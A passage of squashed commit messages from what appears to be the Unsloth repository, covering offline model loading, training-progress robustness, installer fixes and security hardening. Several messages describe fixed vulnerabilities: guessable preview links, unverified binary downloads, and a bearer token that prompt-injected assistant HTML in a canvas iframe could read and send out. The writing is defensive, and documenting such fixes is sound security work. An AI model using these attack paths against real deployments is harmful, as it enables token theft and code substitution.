- vision.py: a degraded VLM processor (text-only, no image_processor) whose manual
fallback fails offline used to be kept, so image inputs broke even with cached
files. _construct_vlm_processor_fallback now returns its failure error;
_acquire_processor surfaces it, and the caller retries forced-offline when the
result is None OR a degraded VLM and the failure was network related, keeping the
original result if the retry is not strictly better (never regress). The retry is
still gated on an online first attempt + offline-related error so a permanent
error never flips the global offline flag.
- vision.py: wrap the patch_tokenizer except-branch AutoTokenizer.from_pretrained in
the same forced-offline-on-network-error pattern as the primary / last-resort
loads, so an offline export where patch_tokenizer raises does not hang or fail.
- export.py: force HF offline around the two FastLanguageModel loads (text and SNAC)
when the probe detected offline. Their text tokenizer path (load_correct_tokenizer
-> AutoTokenizer) does not forward local_files_only, so without this a text export
could still contact the Hub. Added a small _offline_window_if helper reused by the
probe and load windows.
* Consolidate offline loading into one entry-point decision
Decide offline once per entry point instead of at every HF call site. The
prior approach threaded local_files_only into ~15 scattered config / tokenizer
/ processor / weight loads, each wrapped in its own try-online, classify-error,
retry-forced-offline dance, which is what kept surfacing "another call site you
missed", "another error shape misclassified", and global-flag thread-safety in
review.
FastLanguageModel / FastModel / FastBaseModel.from_pretrained now share an
@_offline_aware_load decorator: when offline (explicit local_files_only kwarg or
HF_HUB_OFFLINE / TRANSFORMERS_OFFLINE env) it sets local_files_only and runs the
whole load inside one _force_hf_offline() window so every nested HF call inherits
it; when online it runs normally and, only if the load fails with a genuinely
network-related error, retries once forced-offline. The online path is unchanged
(no probe added) and 401 / 403 / 404 / permanent errors still propagate.
Centralise the offline helpers in loader_utils.py as the single source of truth
(shared by loader.py, re-exported from vision.py, and reused by the Studio
exporter):
- _force_hf_offline now sets the HF_HUB_OFFLINE / TRANSFORMERS_OFFLINE env vars
AND the in-process huggingface_hub / transformers flags, refcounted under one
lock so nested / concurrent windows restore correctly. Setting the env vars
covers env-gated urllib probes and spawned subprocesses too.
- _get_effective_local_files_only, _is_offline_related_error (unchanged
classifier, retains the 5xx-vs-4xx, LocalEntryNotFound and gaierror handling),
_offline_aware_load, and _resolve_checkpoint_tokenizer_name.
loader.py: wrap both entry points; drop the two duplicated env-var fallback
blocks and the two byte-identical local-tokenizer-gate blocks (now
_resolve_checkpoint_tokenizer_name).
vision.py: drop the per-site force_offline params and the three retry gates
(processor, patch_tokenizer fallback, last-resort). They now just surface the
underlying error so the single entry-point safety net retries forced-offline. A
network fallback error now takes precedence over a permanent primary error so the
offline retry still fires when the manual VLM fallback needs cached repo files.
studio/backend export.py: reuse the unified core _force_hf_offline (env + flags)
and drop the duplicate probe-window primitive; the snac / text branches no longer
need their own window. model_config.py: also gate the raw requests.get audio
fallback on the HF offline env vars so it is covered even without the kwarg.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address 10-reviewer P1 findings: vision cache split, PEFT offline, retry OOM
Split the Studio vision-detection cache by local_files_only, mirroring the audio
cache fix. is_vision_model / _is_vision_model_uncached / _raw_config_has_vision_config
/ load_model_config now thread local_files_only, the cache key includes it, and the
exporter passes it. Offline detection also skips the transformers-5 network
subprocess and stays on the local cache, so an offline negative can no longer be
keyed under the online entry and poison a later online probe. Adds a regression
test mirroring the audio poison test.
Forward local_files_only to both PeftModel.from_pretrained adapter-attach sites in
loader.py so a cached remote LoRA adapter resolves from the local cache under
explicit local-only / offline loads (defence-in-depth alongside the forced-offline
window).
_offline_aware_load: run the forced-offline retry OUTSIDE the except block and
collect + empty the device cache first. An except-scoped exception keeps its
__traceback__, which pins the failed attempt's frame locals (a partially loaded
model) until the block exits; loading the model again while that copy is still
alive could OOM a large VLM. Letting the except block close drops the traceback so
the partial load is freed before the retry reallocates.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address Codex review: env-offline cache key + rebuild HF sessions in offline window
Key the Studio audio and vision detection caches on the EFFECTIVE offline state
(local_files_only OR the HF offline env vars), not just the kwarg. detect_audio_type
and is_vision_model both skip the remote fetch / network subprocess when
HF_HUB_OFFLINE / TRANSFORMERS_OFFLINE is set even with the default
local_files_only=False, so the result reflects offline; storing it under the online
(False) key let an env-offline negative poison a later online lookup once the env var
was cleared. Both now compute effective_offline once and use it for the cache key and
the downstream call. Adds a regression test for the env-offline dimension.
_force_hf_offline now rebuilds huggingface_hub's cached sessions on enter and exit
(best-effort _reset_hf_sessions). On hub 0.x the offline adapter is baked into the
per-thread requests.Session at creation, so flipping the constant alone leaves an
already-cached online session able to hit the network inside the window (and an
offline one stuck offline after restore); resetting forces the next get_session() to
match the current flag. On hub 1.x offline is checked dynamically per request, so
reset_sessions does not exist and the helper is a safe no-op.
The third review point (release the failed load before retrying) was already fixed in
af0f58a: the forced-offline retry now runs outside the except block and frees the
device cache first, so the failed attempt's traceback-pinned partial model is
released before the retry reallocates.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Align Studio _env_offline parsing with the canonical offline helper
model_config._env_offline gates the raw requests.get tokenizer-config fallback in
detect_audio_type and the audio/vision detection cache keys, but it only accepted
unstripped "1"/"true"/"yes". unsloth's offline helpers (loader_utils._env_says_offline
and the from_pretrained env fallback) accept the canonical set {1,true,yes,on} after
strip + lowercase, so HF_HUB_OFFLINE=on or HF_HUB_OFFLINE=" 1 " was treated as offline
by the loaders but online here, leaving the raw network fetch reachable while
"offline". Use the same strip + lowercase {1,true,yes,on} set. Adds parsing tests.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix lint: drop dead offline-helper re-exports from vision.py
The import-hoist verifier (scripts/verify_import_hoist.py) flagged vision.py's
re-export block as HOISTED-IMPORT-UNUSED blockers: it imported eight offline
helpers from loader_utils but only used three internally
(_get_effective_local_files_only, _is_offline_related_error, _offline_aware_load).
The other five were imported purely to preserve `from unsloth.models.vision import
X`, but nothing imports four of them from vision, and loader.py already imports
_resolve_checkpoint_tokenizer_name straight from loader_utils.
Import only the three names vision.py actually uses, and point the Studio exporter
at the canonical source (from unsloth.models.loader_utils import _force_hf_offline)
instead of re-exporting it through vision. loader_utils stays the single source of
truth; no behaviour change.
* Address Opus review: chain probe errors, unify env-offline, status-less HTTP
Chain the original AutoConfig/PeftConfig probe exception into the combined
RuntimeError in both FastLanguageModel.from_pretrained and FastModel.from_pretrained
(`raise RuntimeError(combined_error) from (autoconfig_exc or peft_exc)`). The probes
caught every Exception and stringified it, so the re-raised RuntimeError had no
__cause__/__context__ and _is_offline_related_error could not classify it -- the
network-down-but-cached auto-retry never fired for these entry points. With the
cause chained, the decorator sees a ConnectionError/LocalEntryNotFoundError/5xx and
retries forced-offline from cache; a permanent cause (404 / bad config) is still not
offline-classified and propagates without a wasted retry.
Unify the third offline-env parser: studio/backend/utils/transformers_version._env_offline
now uses the canonical {1,true,yes,on} + strip + lowercase set (matching
loader_utils._env_says_offline and model_config._env_offline), so HF_HUB_OFFLINE=on
or " 1 " no longer leaks the direct urllib metadata fetches to the network.
_is_offline_related_error: a status-less HTTP error (no response / unparseable code)
now falls back to the network-wording check instead of being dropped, so a transient
HTTP failure with clear "couldn't connect" wording is treated as offline. HTTP errors
with a real status code still decide by code (4xx propagates, 5xx is offline).
* Condense offline-loading code comments, drop dead helper, dedupe import for PR #6554
* Add unit tests for offline-loading helpers for PR #6554
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Guard load cleanup with try/finally and add retry-contract tests for PR #6554
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add gc.collect retry-step test for PR #6554
* Tighten offline-loading comments and docstrings for PR #6554
* Raise the both-config-failed error before model-type lookup so offline retry fires for PR #6554
* Prefer offline cause for retry and bound export reachability probe for PR #6554
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Skip remote mapper while offline, harden text-load cleanup, and stop stacked offline retries for PR #6554
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Surface VLM fallback offline errors, probe offline before export version activation, and restore progress bars across retries for PR #6554
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Restore offline env after export version activation so the persistent worker re-decides per load for PR #6554
* Classify socket.gaierror and urllib URLError as offline by type for PR #6554
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Probe offline around export load preflights and never offline-retry TLS failures for PR #6554
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Force in-process offline for export preflights, verify proxy egress in probe, and skip caching offline version negatives for PR #6554
* Snapshot offline constants before forcing env and require local processor files for VLM checkpoints for PR #6554
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: require signed capability tokens for /p preview links
The public /p preview routes added in #6486 run model load and chat
generation as the admin user with no authentication. The only gate is the
preview ref, a deterministic outputs-root path (run or run/checkpoint) that
is guessable rather than secret. On a network-reachable Studio (--secure
tunnel or -H 0.0.0.0), an unauthenticated caller who guesses a ref can
consume GPU and probe a private fine-tuned checkpoint.
Make the share link an unguessable, revocable capability:
- Sign the canonical ref with a dedicated server-side secret (HMAC-SHA256,
stored in app_secrets, independent of the JWT/login secret).
- Require a valid token on every /p chat, models, and page request before
resolving a checkpoint or loading a model; missing or invalid tokens get a
generic 404 so the surface never confirms a ref exists.
- Accept the token via ?k= (browser link and preview page) or
Authorization: Bearer (OpenAI-compatible clients).
- Rotate the secret to revoke every outstanding link
(POST /api/settings/preview-links/rotate).
- Clamp preview generation (max_tokens/max_completion_tokens <= 1024, n = 1)
and set Referrer-Policy: no-referrer on the page so the token is not
leaked via Referer.
Training history hands the authenticated owner the signed token, and the
copy-link button builds /p/{ref}?k={sig}.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: honor a lower caller token limit in the preview clamp
Codex review: when only the legacy max_tokens was sent, the clamp left
max_completion_tokens at the 1024 default, and _effective_max_tokens prefers
max_completion_tokens, so a request like max_tokens=16 could still generate up
to 1024 tokens. Derive one effective limit (max_completion_tokens wins, else the
legacy max_tokens) and pin both fields to it so a caller's lower limit is kept.
* Studio: add preview kill switch, rate limit, and revoke-links UI
Follow-ups to the /p preview capability work:
- Public-sharing kill switch: a persisted setting (default on) gates the public
/p surface. When off, every preview request 404s even with a valid token, and
the owner UI stops offering share links. GET/PUT /api/settings/preview-sharing;
enforced in _verify_or_404.
- Per-IP rate limit on the preview chat route: a coarse in-process sliding-window
limiter (20 req/min/IP) returns 429 + Retry-After before the GPU lock is taken.
Client IP honors X-Forwarded-For only when UNSLOTH_STUDIO_TRUST_FORWARDED is
set, matching the login limiter's trust model.
- Settings UI: a "Preview sharing" section with the public-sharing toggle and a
"Revoke all preview links" button (confirm dialog) that rotates the secret.
Tests cover the kill switch (404 when off), the 429 path, the sliding window,
client-IP trust behavior, and the setting default.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: fix preview-fields sharing arg and refresh sigs after revoke
Codex review:
- P1: get_training_run_detail and update_training_run called _preview_fields
with only output_dir after it gained a required sharing_on parameter, raising
a 500 TypeError once get_run succeeded. Pass get_preview_sharing_enabled() at
both sites; add a detail-endpoint regression test.
- P2: after rotating the preview secret from settings, the history grid still
held stale preview_sig values, so a freshly copied link would 404. Emit
emitTrainingRunsChanged() after a successful revoke so the grid refetches
freshly signed refs.
* Studio: harden preview sharing controls (Codex review)
- Fail closed: a read failure on the preview-sharing kill switch now returns
False instead of defaulting to enabled, so an unavailable settings DB can't
reopen the public surface. A missing key still defaults to enabled.
- Per-IP rate limit behind the managed Cloudflare tunnel: client_ip now honors
CF-Connecting-IP when the socket peer is loopback, so tunneled visitors are
keyed by their real IP instead of collapsing onto the local cloudflared peer.
- GET /p no longer mints key/share_url when sharing is disabled; it returns
sharing_enabled=false so clients don't distribute links that 404.
- Settings UI: toggling public sharing emits the training-runs-changed event so
the history grid shows/hides Copy preview link without a manual refresh.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden preview rate limiter and IP keying (Opus review)
From a two-agent review of the PR:
- Rate limiter no longer evicts an active bucket when the table is full: a flood
of distinct keys could otherwise cycle out a throttled bucket and reset its
counter. Evict only aged-out buckets; if the table is full of live clients,
fail closed (deny the new key) instead.
- client_ip keys on the rightmost (proxy-appended) X-Forwarded-For hop when the
trust env is set; the leftmost is client-spoofable. Documented the
append/overwrite-proxy assumption.
- _verify_or_404 checks the capability token before the kill-switch DB read, so
unauthenticated /p spam can't be used as an unbounded settings-DB sink and the
response is identical regardless of the sharing on/off state.
Tests: nested run/checkpoint happy path + wrong-ref rejection, the eviction
fail-closed behavior, and route-level coverage for the rotate / preview-sharing
settings endpoints.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Verify linuxdeploy AppImage digest before use in desktop release
The desktop release workflow downloaded linuxdeploy-x86_64.AppImage from a
GitHub release and ran chmod +x with no integrity check. Pinning the
versioned release path is reproducibility, not integrity: a release asset
can be replaced (or its delivery path compromised) after upload. The next
step builds the AppImage with the Tauri signing private key and a
contents:write GITHUB_TOKEN in scope, so a substituted linuxdeploy that
ran during packaging could exfiltrate signing material or tamper with
published release artifacts.
Pin the immutable SHA-256 of the asset and verify it with sha256sum -c
before chmod +x, so a mismatch fails the job closed before the binary is
ever executable. Extend the existing in-workflow guard to require both the
pinned digest and the verification step, so a future edit cannot silently
drop the check.
* Scope linuxdeploy guard to real step content, not its own text
The self-check searched every workflow line, so the digest assertion was
satisfied by the guard's own expectedLinuxdeployDigest line and the
verification assertion by a comment. Deleting the LINUXDEPLOY_SHA256 env
pin or the actual sha256sum -c command would still have passed.
Match the digest against the LINUXDEPLOY_SHA256 env line specifically and
require sha256sum -c on a non-comment line, so dropping either the pin or
the verification now fails the guard.
* Scope linuxdeploy guard to the Pin step block and check ordering
The previous predicate still scanned the whole workflow, so the literal
sha256sum -c in the guard's own code satisfied the verification check; a
deleted or post-chmod verification command would still pass.
Extract the 'Pin linuxdeploy for AppImage' step block and assert within it:
the LINUXDEPLOY_SHA256 env pins the expected digest, a non-comment line
runs sha256sum -c, and that verification precedes chmod +x.
* feat: add GPU-aware model filtering and For You section- Add fit filter toggle (All / Fits GPU / Comfortable) to Hub discover tab- Add For You section showing only hardware-compatible models- Fix MoE active parameter extraction (Qwen3.5-35B-A3B now correctly reads as 3B active, not 35B)- Add gpu-fit-filter.ts with instant VRAM estimation from HF metadata without fetching model configs- Add fit badges to model cards and table rows- No backend changes- Closes#6556
* fix: handle unified memory systems in GPU fit classification
* fix: tighten GPU model fit filtering
---------
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* Studio: stop leaking the auth token through HTML canvas preview frames
The artifact preview frame placed the Studio bearer token in the iframe URL
(?token=) whenever canvas network access was enabled. Untrusted canvas HTML
runs in that frame and can read its own window.location.href, and the
network-mode CSP allows outbound http/https, so the token could be
exfiltrated and replayed against authenticated Studio APIs. The auto-render
HTML cards widened the reach: ordinary or prompt-injected assistant html
fences become a Preview card that opens this same frame, and the render_html
tool path auto-opens it without a click.
Root cause: never put the token in the frame URL. The preview shell is a
static document that only renders HTML posted to it by its embedder, and
frame-ancestors plus the no-same-origin sandbox already constrain it, so the
endpoint no longer accepts or validates the token and selects the network
CSP from allow_network alone. No credential ever reaches the frame.
Defense in depth: only tool-rendered canvases may opt into network mode;
fences auto-extracted from assistant text never do.
* Studio: stop strict canvas frames from self-upgrading to network mode
Network mode is selected from the allow_network query param alone, so untrusted
canvas code in a strict frame could navigate its own iframe to
?allow_network=1; the frame's onLoad handler then reposted the same untrusted
HTML into the now network-enabled frame, giving a no-network or fenced canvas
unauthorized network egress.
Only inject the artifact for loads we initiated (mount or a src change), tracked
by a pending flag set when src changes. A self-navigation also fires onLoad but
is no longer fed, so the upgraded frame stays the inert shell. The strict CSP
default-src 'none' already blocks the child-iframe variant.
* Studio: trim comments in the canvas artifact security fix
Condense the added explanatory comments and the artifact-preview-frame docstring
to one line each while keeping the security rationale. No code change (verified
comment-only).
* Studio: keep the training event pump alive so progress can't silently freeze
The parent-side event pump is the only writer of the in-memory progress state
that SSE /progress, /status, /metrics and the DB history all read. It ran in a
single unsupervised daemon thread with no guard around event handling, so one
malformed event or a transient queue/DB error would terminate it permanently.
The worker subprocess keeps training regardless (mp.Queue puts never block on an
unbounded queue), so a run kept burning GPU for hours while every progress
surface froze on the last step the pump saw.
- Guard each pump iteration: a bad event or queue-read error is logged and
skipped instead of ending the loop. _read_queue now reads any error as
"no event", not just Empty/EOFError/OSError/ValueError.
- Add a _pump_running flag and an _ensure_pump_alive watchdog wired into
is_training_active, so a pump that dies while the worker is alive is restarted
on the next status poll and the UI catches up from the still-open queue.
- Start respawned and restarted pumps under the lock so the watchdog can never
spawn a duplicate during the brief start window.
Adds tests/test_training_pump_resilience.py covering both guarantees.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio training pump: address review (drain guard, start race, read backoff, respawn flag)
Follow-up to the event-pump resilience change, closing four edge cases a
review surfaced in the same pump/queue surface:
- _drain_queue now tolerates any error during the worker-exit drain and
finalizes with whatever it drained, instead of skipping finalization and
leaving the run wedged "active" with a dead worker.
- start_training clears a stale _pump_running flag during reset and assigns
the subprocess handles plus starts the pump under the lock, so a concurrent
status/SSE poll can't spawn a duplicate pump during setup.
- _read_queue goes back to the narrow EOFError/OSError/ValueError catch;
truly unexpected errors are left to _pump_loop's guarded read, which logs
and backs off so a persistently raising queue can't spin a hot loop.
- The xet respawn-failure path clears _pump_running so a later run can't
inherit a stale flag.
Adds regression tests for all four.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: revive a crashed pump after worker exit + stop test module pollution
Two review follow-ups on the training event pump:
- _ensure_pump_alive refused to restart once the worker had exited
(not self._proc.is_alive()), so a pump that crashed just before the worker
finished never drained the terminal complete/error events still sitting in
the queue. progress.is_training stayed True and is_training_active() returned
True forever, leaving the run stuck "running" behind a dead pump. A True
_pump_running flag with a dead thread is an unambiguous crash regardless of
worker state, so restart there too: the fresh pump drains the backlog and
finalizes. Updated the watchdog test to assert the revive-and-finalize.
- The resilience test imports core.training.training while heavy module-level
deps are stubbed, then restores the stubs -- but the cached training module
kept the stubs bound in its globals, so a later test in the same session
could exercise the fakes (e.g. prepare_gpu_selection) instead of the real
code. Evict the training module (and its package) after import when this file
created it, so subsequent tests re-import it cleanly.
* Studio: finalize training run when queue reads keep failing on a dead worker
reviewer.py follow-up. _read_queue only swallows EOFError/OSError/ValueError;
an unexpected error escapes to the pump's outer guard, which logged, slept and
`continue`d. If those reads keep raising after the worker has already exited
(e.g. a broken queue pipe), the loop never reaches the dead-worker finalize
block, so the pump spins on with _pump_running True and progress.is_training
stuck True -- the run looks like it is still training forever. On a read failure
now fall through to finalize when the worker is gone, only backing off and
retrying while it is still alive. Mirrors the data-recipe pump fix; added a
regression test.
* Tighten training pump resilience comments and docstrings
Condense the verbose explanatory comments and docstrings on the training event
pump and its tests to shorter, clearer forms. Comment/whitespace only; verified
no code changed via AST diff. No behaviour change.
* Studio: create the training DB run before starting the event pump
start_training started the event pump before the eager _ensure_db_run_created()
call, so for a worker that completes or fails immediately the pump could race the
main thread into creating and finalizing the same run row (duplicate INSERT, or a
finalize skipped while _db_run_created was still false). Create the run first; the
pump then only ever finalizes. Adds a regression test asserting the pump observes
an already-created run.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Keep pad-named pad_tokens; defer pad repair to shared unsloth_zoo.pad_token
A pad-named token (e.g. <|vision_pad|>) is a valid pad. The narrow fallback that
stripped vision pad tokens on text-only models is now a no-op; the active path
delegates to the shared fix_pad_token in unsloth_zoo, which keeps pad-named tokens
and only heals missing / eos-collision / out-of-range pads.
This fixes the Qwen3-4B-Base load crash (its config ships pad_token=<|vision_pad|>):
the old swap could not find a safe text pad (eos is <|endoftext|>, no unk_token) and
left the tokenizer broken. Removes the unused _VISION_PAD_TOKENS / _SAFE_TEXT_PAD_TOKENS
sets. Tests updated.
Pairs with unslothai/unsloth-zoo#831.
* Remove _fix_vision_pad_token; inline the no-op fallback
A pad-named token (e.g. <|vision_pad|>) is a valid pad, so the old vision-pad swap
helper has no purpose. _fix_pad_token now returns the tokenizer unchanged when the
shared unsloth_zoo.pad_token module is unavailable, instead of routing through a
no-op helper. Test WANTED set updated.
* Studio: don't time out the live progress stream during pre-first-step prep
The live progress SSE counts every 1s poll without a step update toward a
30-minute stall timeout, after which it emits an error event and ends the
stream. But that counter also runs during the pre-first-step phase (model
load + tokenizing the dataset), which is never reset because no step has
happened yet. On a large dataset that prep can take well over 30 minutes, so
the live view is torn down with an error while the run is perfectly healthy
and still preparing -- the run then trains on in the background with the UI
showing nothing, exactly the "no progress for hours" decoupling.
Apply the stall timeout only once the stream has actually seen a live step.
Before the first step the run is preparing and may legitimately emit no step
for a long time; heartbeats still flow so the client stays connected and the
worker's liveness still ends the loop when training finishes. A genuine
post-step stall still times out. Extracted the threshold to a module constant
so it can be tuned/tested.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: seed seen_live_step from the resume point on reconnect
Review follow-up: seen_live_step reset to False on every SSE request, so a
client reconnecting past the first step (Last-Event-ID set, or the run already
has step history) only receives heartbeats and never flips it true. A worker
that hangs after step N would then never trip the stall timeout for that
reconnected client. Initialize it from resume_from_step / existing step
history so reconnects keep the post-step timeout behavior, while a genuine
pre-first-step run still stays exempt. Added a reconnect regression test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten prep-phase progress timeout comments
Condense the verbose explanatory comments and docstring on the prep-phase stall
timeout exemption to shorter, clearer forms. Comment/whitespace only; verified no
code changed via AST diff. No behaviour change.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: UNSLOTH_NPM_REGISTRY opt-in for corporate npm mirrors (#6491)
studio/frontend/.npmrc pins registry=https://registry.npmjs.org/ as a
supply-chain lock. A project-level pin takes precedence over a user's
~/.npmrc, so behind a corporate firewall that blocks npmjs.org the
frontend bun/npm install hit npmjs.org directly and failed with 403.
Add an opt-in UNSLOTH_NPM_REGISTRY env var (off by default). When set it
is threaded as --registry into every registry-touching install in
setup.sh, setup.ps1 and build.sh (bun bootstrap, bun install + retry, npm
fallback, OXC validator runtime). --registry is the highest-precedence
override for both bun and npm and leaves min-release-age and save-exact
in force, so the default lock is unchanged for everyone else.
On an install failure that looks like a blocked registry, print guidance
pointing at UNSLOTH_NPM_REGISTRY and auto-suggest the mirror already set
in the user's npm config. Registries are never switched automatically.
Also correct the .npmrc comment: the pin does not block an ambient
NPM_CONFIG_REGISTRY env var (npm and bun honor that at higher precedence);
it only guards against a lower-precedence stale ~/.npmrc.
* Studio: make the registry hint reachable under set -e; clean temp log (#6491)
run_quiet_no_exit returns non-zero on failure, which under `set -euo
pipefail` exits the script at the call site before the exit code is
captured, so the new UNSLOTH_NPM_REGISTRY hint never printed on the npm
fallback and OXC validator paths. Guard both with `|| _rc=$?` (the same
idiom every other run_quiet_no_exit caller already uses) so the failure
branch runs, and remove the _FRONTEND_INSTALL_LOG temp file on the
early-exit path.
* Studio: detect the user's mirror outside the pinned frontend dir (#6491)
_suggest_npm_registry / Show-NpmRegistryHint run while the cwd is still
studio/frontend, whose .npmrc pins registry=https://registry.npmjs.org/.
So `npm config get registry` returned that pin instead of the user's
~/.npmrc mirror, and the "Detected a registry" branch was skipped for the
main corporate case (mirror set in ~/.npmrc). Run the lookup from a
directory with no project .npmrc (/ in bash, the temp dir in PowerShell)
so the user/global mirror is surfaced. The NPM_CONFIG_REGISTRY env check
is unchanged and still takes precedence.
The post-filter safety net for 'Train on completions' fires when
train_on_responses_only() masks every token in too many rows. Its trigger is
a row-drop ratio, not a token-length check, but the message hardcoded
"max_seq_length is too short, try increasing (e.g. 8192)" -- advice that
fires identically at any max_seq_length and can recommend a value below the
user's current setting (telling someone already at 16384 to use 8192).
The dominant real cause is that the model's response template is not found in
the formatted samples: the dataset is already formatted, or its structure
doesn't match the model's chat template, so every token gets masked and the
rows are dropped. Reword the error (and the comment above it) to lead with
that cause and the actionable fix (turn off 'Train on completions'), and
mention max_seq_length only as a secondary possibility without a hardcoded
recommendation.
* Studio: clean up empty leftover quant folders so they can be deleted
An interrupted or cancelled split GGUF download leaves snapshots/<rev>/<quant>/
behind with no shards. Such a folder is neither a completed download nor a
tracked partial (no .incomplete blobs, no manifest), so it was invisible in the
variant list and a per-variant delete returned 404, leaving it on disk forever.
- list_empty_gguf_variant_dirs: detect quant folders that are empty in every
snapshot, excluding any quant that has shards in another snapshot.
- get_gguf_variants_response: surface those quants as partial (cleanable) so the
UI shows a delete affordance.
- _delete_gguf_variant_from_repos: remove the empty (or just-emptied) quant
subfolder and count it toward the result so the delete succeeds instead of 404.
Adds hub/tests/test_empty_variant_folder.py.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: simplify empty-dir check to any(iterdir())
* Studio: tighten comments on empty-quant-folder cleanup
* Studio: surface empty-folder removal failures and cleanables on local/offline paths
Address review feedback on the empty leftover quant folder cleanup:
- _remove_empty_variant_dirs now returns removal failures (read-only cache or a
locked dir), and the variant delete raises 409 instead of a misleading 404; a
concurrent download refilling the dir (ENOTEMPTY) is still treated as a skip.
- Empty leftover folders are surfaced as cleanable on every variant-listing path
(prefer_local_cache / offline / HF-fallback), not just a remote listing, via a
single post-process that flips a listed quant to partial or appends an
unlisted one.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: surface empty-folder cleanables even when metadata fetch fails
When the cache holds only an empty leftover snapshots/<rev>/<quant>/ folder
from an interrupted split download and the client is offline or the HF
metadata request fails, _compute() re-raised before cleanables were marked,
leaving the folder undeletable. Now fall back to marking cleanables against an
empty response and return them if any; otherwise re-raise the original error.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Installer: make UV_OVERRIDE space-safe on Apple Silicon (#6503)
On Apple Silicon, install.sh exports UV_OVERRIDE pointing at the bundled
overrides-darwin-arm64.txt. uv splits UV_OVERRIDE on whitespace, so a repo
cloned under a path containing a space (e.g. /Users/me/Open Source/unsloth)
truncates the value and every later uv call aborts with
'error: File not found: <truncated>' (the PyTorch install step in #6503).
Copy the overrides file into a space-free temp dir and point uv at the copy
when the path contains a space, mirroring the macOS/Linux handling already
merged for the Python installer in #6534. The temp dir is removed in the
exit trap, and the code falls back to the original path when no space-free
temp dir is available, so the no-space and non-macOS paths are unchanged.
Adds tests/sh/test_install_uv_override_space.sh, which extracts and runs the
install.sh hardening block and checks the spaced, no-space, and
spaced-TMPDIR fallback cases.
* Installer: match all whitespace (not just spaces) in UV_OVERRIDE handling
uv splits UV_OVERRIDE on any whitespace, so use the POSIX class
*[[:space:]]* rather than a literal space in install.sh (catches tabs and
newlines in the path too) and the matching test assertions. Use the portable
awk bracket expression [$] instead of \$ in the extraction so the test runs
the same under BSD awk (macOS) and GNU awk (Linux). Adds a tab-in-path case.
* Installer: clear _UV_OVERRIDE_TMPDIR before the exit trap
The exit trap rm -rf's _UV_OVERRIDE_TMPDIR. Initialize it to empty before
registering the trap so an inherited environment value can never be removed;
only a temp dir this script creates (Apple Silicon, spaced path) is cleaned.
Adds a structural test asserting the init precedes the trap.
* Run the install.sh UV_OVERRIDE space test in CI via a pytest wrapper
The Shell installer tests job uses a fixed script list (not tests/run_all.sh),
so the new shell test would not run on PRs. Add a pytest wrapper under
tests/python/ that invokes it; the auto-discovered repo CPU test job collects
tests/python/ and so executes the Apple Silicon spaced-path regression.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: honor stream=false on the GGUF agentic tool path (#6570)
* Studio: dedup the #6570 non-streaming tool tests and cover cached_tokens
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: cover the cached_tokens metadata fix and clarify the drain comment (#6570)
* Studio: align the GGUF tool drain naming and tighten its comment (#6570)
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
ensure_diffusion_visual_server() downloaded the visual-server release
asset with the unverified download_file() and marked it executable,
bypassing the approved-checksum manifest that gates every other prebuilt
llama.cpp artifact. The backend later auto-discovers that binary and
launches it through DG_VISUAL_BIN, so a compromised or substituted
release asset could place attacker-controlled native code in the install
tree and have it executed under the Studio user.
Require the matched asset to be present in the approved checksum manifest
and download it through download_file_verified() with the published
sha256. A name-matching asset that is absent from the manifest is refused
rather than executed.
Add regression tests covering the verified-download path and the refusal
of an unapproved asset.
* checkpoint preview endpoint
* harden new preview endpoints
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* address review
* Studio preview: pin adapter, guard streaming submit, robust copy-link
Harden the public per-checkpoint preview surface:
- Pin use_adapter=True in the preview payload sanitizer. Otherwise an
